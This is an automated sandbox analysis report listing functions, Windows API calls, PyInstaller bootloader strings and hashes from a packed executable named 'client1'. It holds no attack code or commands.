Opcode ID: b9527ed25a08e027e619c0f48f7f69b51d33915f4b886b1c04b788e0506d998c
Instruction ID: 5127a553522058f030d11232e604bcacd8dff4058a98ad03220e3a6ef4e4d023
Opcode Fuzzy Hash: b9527ed25a08e027e619c0f48f7f69b51d33915f4b886b1c04b788e0506d998c
Instruction Fuzzy Hash: 76416121B0D7C281EE34FB25E8402E9E3AAFB44794FD44431DE6D87A55EE3CE5418311

Function 00007FF79F621000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF79F623BA0: GetModuleFileNameW.KERNEL32(?,00007FF79F623699), ref: 00007FF79F623BD1

SetDllDirectoryW.KERNEL32 ref: 00007FF79F6238A5

Part of subcall function 00007FF79F626990: GetEnvironmentVariableW.KERNEL32(00007FF79F6236E7), ref: 00007FF79F6269CA
Part of subcall function 00007FF79F626990: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF79F6269E7

Strings

_PYI_ONEDIR_MODE, xrefs: 00007FF79F6236FC, 00007FF79F623727
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF79F62378E
Failed to convert DLL search path!, xrefs: 00007FF79F62388D
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF79F62382C
_MEIPASS2, xrefs: 00007FF79F6236D3, 00007FF79F62373C, 00007FF79F6239EB, 00007FF79F6239FB
MEI, xrefs: 00007FF79F6237E7

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-3602715111
Opcode ID: a9d80687edf50720008c1c19d3c188cb07f31f297c6ec28e510237156a3f44f3
Instruction ID: 9378a5468035c64dedb7c7cf3ca2fb4a3c8269c726e826f7cfe078daac12dbd0
Opcode Fuzzy Hash: a9d80687edf50720008c1c19d3c188cb07f31f297c6ec28e510237156a3f44f3
Instruction Fuzzy Hash: 57B1B121A1D7C351FE30BB319D522FDA25ABF44794FC04139EA6D87696EF2CE5048722

Function 00007FF79F621050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF79F621249
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF79F6210F1
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF79F6210B4
1.2.13, xrefs: 00007FF79F62107E
malloc, xrefs: 00007FF79F6210F8, 00007FF79F621126
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF79F62111F

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message
String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-1655038675
Opcode ID: 3a29cac6c315e89fd1a339ce373b4b8305977fdf4dc839f12d0ce977f9400e5b
Instruction ID: 2b31e093f5533dd89edb20ea74b162bd156f727efe36cfc882a4b9eebf5bb82e
Opcode Fuzzy Hash: 3a29cac6c315e89fd1a339ce373b4b8305977fdf4dc839f12d0ce977f9400e5b
Instruction Fuzzy Hash: DA51A022A0D7C285EA30BB61A8403FAA29AFB85794F844135EE6D87785EF3CE545C711

Function 00007FF79F63AF2C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63B359

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6f2067f9e2b798d7e4aa60285487f192dd8020c4dcad372bd04a148e1f9d7242
Instruction ID: c801ba19517fe8c095bfee1e2afcf681606a9116e899a8ae86aa424cf4ace6f0
Opcode Fuzzy Hash: 6f2067f9e2b798d7e4aa60285487f192dd8020c4dcad372bd04a148e1f9d7242
Instruction Fuzzy Hash: 45C1C52290C7C691EA70BB35A4402FDE7AAEFC1B84F950135E96D03796CEBDE8458720

Function 00007FF79F62B19C Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF79F62B1AB

Part of subcall function 00007FF79F62B36C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF79F62B38E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF79F62B1C0
__scrt_release_startup_lock.LIBCMT ref: 00007FF79F62B22E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF79F62B281

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 90a7fcc3a81af5bf04ad81541e301d7d9fb9f11ea0fdd18d74326f9016f6428e
Instruction ID: 7bfa76644cef631d3ae45f44de4443e65a40bd1892020e5672e118848bef1773
Opcode Fuzzy Hash: 90a7fcc3a81af5bf04ad81541e301d7d9fb9f11ea0fdd18d74326f9016f6428e
Instruction Fuzzy Hash: 73311321E097C345FA74BB7499513FDA29BEF91384FC44034E92E8B2D7DE6CA8058272

Function 00007FF79F634680 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6346AD
CreateFileW.KERNEL32 ref: 00007FF79F6346EC
CloseHandle.KERNEL32 ref: 00007FF79F634721

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 8a464286a4aee93ad09e46d96520f5fa22b2a313ca22bba1db5411dbdbef7e96
Instruction ID: 3c025c4dba6c9d4953071937d259e383a1883ee57a742f34534be38f6efcc3b2
Opcode Fuzzy Hash: 8a464286a4aee93ad09e46d96520f5fa22b2a313ca22bba1db5411dbdbef7e96
Instruction Fuzzy Hash: 24419523D187C183FB64AF3195503B9E265FB957A4F609334E66C03AD6DFACA5E08710

Function 00007FF79F62F39C Relevance: 3.2, APIs: 2, Instructions: 177
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F62F3E0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F62F4D7

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bd665411d6c8cb657e02e9163d495b47fe1eb31481a6a537198dee777c004d3e
Instruction ID: b1739a37f4992f6b746848c27ac7417057e0e1e55ffde008eb368e8f11f59d45
Opcode Fuzzy Hash: bd665411d6c8cb657e02e9163d495b47fe1eb31481a6a537198dee777c004d3e
Instruction Fuzzy Hash: D051EA61B193C245EA78AE3998006FAE19AAF44BB4F944734DD7D877CACF7CD4018722

Function 00007FF79F63B604 Relevance: 3.0, APIs: 2, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,00000000,00007FF79F63B79D), ref: 00007FF79F63B650
GetLastError.KERNEL32(?,?,?,?,00000000,00007FF79F63B79D), ref: 00007FF79F63B65A

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ff2257711b1d275b862e663729d543ef4812b290fbf882e2e1232765a84f7875
Instruction ID: 5f155c4b525449dfabc16d6bc686e936b05c9d6be56a2bcf0d31afdc90bb181e
Opcode Fuzzy Hash: ff2257711b1d275b862e663729d543ef4812b290fbf882e2e1232765a84f7875
Instruction Fuzzy Hash: 3011B262B18BD181DA20AB35B4441A9E766AB85BF4F944331EA7D477E9CF7CD0118700

Function 00007FF79F63A028 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF79F639EA5,?,?,00000000,00007FF79F639F5A), ref: 00007FF79F63A096
GetLastError.KERNEL32(?,?,?,00007FF79F639EA5,?,?,00000000,00007FF79F639F5A), ref: 00007FF79F63A0A0

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 649148bb364a2e2bb6c01b4b98e8ba63ccdb9764b03dbbc10b4a89a301f042aa
Instruction ID: 2210f0c6ec18eeecfef81bc4cfd7c9cdc769538a92b900b740c2422d0832fc66
Opcode Fuzzy Hash: 649148bb364a2e2bb6c01b4b98e8ba63ccdb9764b03dbbc10b4a89a301f042aa
Instruction Fuzzy Hash: 4C21C211B0C7C341FA747770A4942F9969BAF447A8F844235D93E477C2CFAEA4459320

Function 00007FF79F63B37C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63B3A4

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7edcb5c19051daea02f21c4053ec30bf8603933813fd22e9cae156a3527bc5bd
Instruction ID: b5a193a13d7b48370e63cf277ad17c374611f16b92cad1aa5c5fcc9b271d7ff0
Opcode Fuzzy Hash: 7edcb5c19051daea02f21c4053ec30bf8603933813fd22e9cae156a3527bc5bd
Instruction Fuzzy Hash: 8841BB3291878147EA34EB35E5401B9F76AEBD5750F900131E6AD476D5CF7CE402CB61

Function 00007FF79F627200 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF79F6272AA

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 033a4210891c7de0e80cf35636e901d9f642a42152a779333d6082372dd68c1a
Instruction ID: aaba48ed78273238833eb8c1e2c2563056a8dc6ee45a4c99caa644b75089b6cd
Opcode Fuzzy Hash: 033a4210891c7de0e80cf35636e901d9f642a42152a779333d6082372dd68c1a
Instruction Fuzzy Hash: 0A218521B193D145EA31BA3269447FAE65ABF45BD4FC84430EE2D87786CF7DE1418211

Function 00007FF79F63AE0C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63AE92

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 36b0fbc90b3b462680d3b6a13c035726274d9c74de2b43bcb58660ea55cb43b3
Instruction ID: 63730c47883fcca5f8c442cb7ac1d0d8529cbffe6236c03dfad8cc0605df32aa
Opcode Fuzzy Hash: 36b0fbc90b3b462680d3b6a13c035726274d9c74de2b43bcb58660ea55cb43b3
Instruction Fuzzy Hash: F0319222A187C145EB61BB3594013F8A66AEF40BA1F910135DA3D433D3CFFDA4419731

Function 00007FF79F6354C8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63542D

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction ID: 15fc347ae576280363d2ac980cfb010aeb15619487631d56c09895f8abcbe662
Opcode Fuzzy Hash: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction Fuzzy Hash: D0118422A1C7C241EE74BF61A4012F9E2AAEF85B80FD54031EA5C57797DFBDD8108721

Function 00007FF79F64575C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F64577F

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bc68aba4551d34184bb05bda2552568f64e358e9307c55527e30db01171bb599
Instruction ID: 44a8cb5cefe810d6dade91abf6b13ea437ccdd4a3b9926db605ca3c2ca9ebe9c
Opcode Fuzzy Hash: bc68aba4551d34184bb05bda2552568f64e358e9307c55527e30db01171bb599
Instruction Fuzzy Hash: AA218732A18BC187DB71BF28E4403B9B7A6EB84B94F944235E66D476D9DF3DD8008B14

Function 00007FF79F62F61C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F62F670

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction ID: 7d7071be6193a31a210b6f2e7c33f2c77c87ea4d077429a36c17e782bd0935d6
Opcode Fuzzy Hash: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction Fuzzy Hash: 6D01A521B187C240EA24BB7699010E9E69EFB45FE0F888631DE7C57BD6CE7CD4019711

Function 00007FF79F6271B0 Relevance: 1.5, APIs: 1, Instructions: 20libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F6271D3

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 63080640ee8bd5a5197bc5957a639ee791a00d05320db4a40cef4a6e5ab977c0
Instruction ID: db1b079971d0752154b27682a3aa2bfcf54e5b5dba51319fc6a3235899017180
Opcode Fuzzy Hash: 63080640ee8bd5a5197bc5957a639ee791a00d05320db4a40cef4a6e5ab977c0
Instruction Fuzzy Hash: 73E08612B1828542EE28BB77A9464EAE256AF48BC0B989035DE1D47755DD2DD4904A00

Function 00007FF79F63DD40 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF79F63A8B6,?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E), ref: 00007FF79F63DD95

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 2e0f3e4b2c9ccc38d96cb592f5054ed38be707e8bf6a1ab6843b3be497aa41a7
Instruction ID: 759ff3523cf500773aa47cd43d58c483f52b5daeafbc5732d7f1b4788e0dabf0
Opcode Fuzzy Hash: 2e0f3e4b2c9ccc38d96cb592f5054ed38be707e8bf6a1ab6843b3be497aa41a7
Instruction Fuzzy Hash: 7CF04F54B1978A41FEB57A7255403F5A69E5F84B80F985630C92D86282DD9CF5508330

Function 00007FF79F63CACC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF79F62FE44,?,?,?,00007FF79F631356,?,?,?,?,?,00007FF79F632949), ref: 00007FF79F63CB0A

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
